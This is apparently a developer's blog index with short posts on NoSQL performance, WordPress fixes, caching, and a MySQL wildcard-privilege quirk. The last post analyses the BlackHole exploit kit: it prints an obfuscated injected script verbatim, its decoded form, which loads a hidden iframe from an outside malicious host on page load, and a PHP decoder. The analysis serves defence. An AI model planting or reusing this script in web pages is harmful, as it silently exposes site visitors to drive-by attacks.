2014
11.11

At ClickPapa we have a plenty of Skype Groups, for different departments. For example we have one for developers, another one for our traffic group, and one separate for the SysOps team. We have some tricky system checking rules in zabbix, and we’re using Sevabot client to automatically share theres system informations and warnings.

Today just for fun I’ve wrote five lines of Python script to help our collegues figure out what to eat today ;)

Read More >>

2014
04.11

As I mentioned earlier nowdays I’m working for ClickPapa, which is an advertising platform.

For me as a lead developer and CTO, I should always have performance in mind, that’s why we started to build our platform around NoSQL technologies on the addelivery side.
First we started to work with CouchBase then we made a switch to MongoDB because of performance reasons. As our volume is growing we have to constantly optimize our schema and queries in performance in mind.

Read More >>

2013
10.17

In March I’ve started to work on a brand new project, with some experts, and some new challenges came to my world.
I had to leave my safe Apache+PHP+SQL world, and switch to a php-fpm + SQL + NoSQL combo, and we’ll also give a try to python…

I’ve played woth NoSQL technologies before, but I havn’t made a project to production with a 100% NoSQL backend. The application we’ve choosen to this was CouchBase. First we ere trying to suceed with couchdb, but this one seemed a lot complex, and provided many tools, and a handy management console as well.

When our application got the first ~ 1 million request per day it started to make the system slower, and slower. In the past few weeks I’ve tried some tricks, and tweekings, but nothing really cut the load. Until yesterday I’ve found THE THING what I don’t understood about CouchBase. I’ve read everything about Warmup process, Refilling, Optimistic and Pessimistic calculation, Readers and Writers, Replication and Rebalance…

Read More >>

2013
02.11

For some months I’m wondering how can I create a memcached base reverse proxy infront of my apache, that supports namespaces, for easy cache purging…

After some days of playing I came up with the solution :)

Read More >>

2013
01.20

As I’ve explained earlier here I’m working on an RSS based project, and I’ve got a request to rethink the feed processing method, and try to speed things up.

The first thing that come up, was to run a feed checker process that runs every two minutes.

So, how the scheduling works in WordPress?

Read More >>

2012
10.05

Today one of my client’s warned me, that he can access (and also create, modify, delete) an unknown database, which belongs to my other client. The problem was naming, because it was test_${domain}, and when I looked into privileges tab in phpMyAdmin it shows:

User 	|Host 	|Type 	                |Privileges
Any 	|% 	|wildcard: test\_% 	|SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES 

The strange is, that you cannot delete this privilege, because there’s no such user in the database.

So, the only solution is, that you should not name a database “test_%”

2012
08.29

Today I ran into a quite intresting and both anoying issue around WordPress and TinyMCE.

One of my clients reported, that they can’t even do a linebreak in WYSIWYG editor in their backend site which was powered by WordPress. So, I had to look for a solution. The only thing I found was to install TinyMCE Advanced, that had an option called “Stop removing >p< and >br /< tags when saving”. Which did the trick.

But I just hate to install a plugin just for 6 lines of code, without using the main functionality.

Read More >>

2012
08.14

Or almost always.

Have you ever experienced after a theme switch, or a core upgrade that things don’t work the way they did, and your mighty thumbnail system gone? About a week ago I’ve updated a client’s website, form a pretty old WordPress to the latest one. And this upgrade was not painless at all. Because a plugin or a function disappeared from the admin.

This tiny function was to add thumbnails to a post, not the official WordPress post-thumbnail way, but a sneaky, hacky way. Maybe that’s the reason it’s gone forever. However there was a theme that relies on this functionality what should a bug thinker coder like me do?

Well the problem in technical terms was simple.
The theme is looking for a post meta for each post named ‘image’, this should contain not the full URL, but the relative path to the image, from the root installation directory.

But what should I do? Should I rewrite the whole theme, to use the standard WordPress ‘_thumbnail_id’ meta_key method? Or should I figure out something else?

Finally I came up with a solution, that maintains the compatibility with the old method, but let the admin use the standardized WordPress thumbnail system. Let’s go.

Read More >>

2012
08.01

Today I ran into a problem according to wget and server error codes.
Actually I wanted to get the content-body inspite of the server status code.

Normally this should not happen, but in real situations we often get pages with status codes different from 200 and 302. For example if you have a php notice on the page, which is not visible, you can have 500 status code.

Read More >>

2012
07.26

The BlackHole javascript exploit

1
2
3
<!--c3284d--><script>try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);</script><!--/c3284d-->

And this code generates from the above lines

1
2
3
4
5
6
7
8
9
10
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

The PHP code I wrote for decoding that nasty code above

1
2
3
4
5
6
7
8
<?php
$w=array(4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1);
$s='';

for($i=0; 286-5+5-$i>0; $i++)
{
    $s .= chr(($w[$i]*1+(9+($i%3))));
}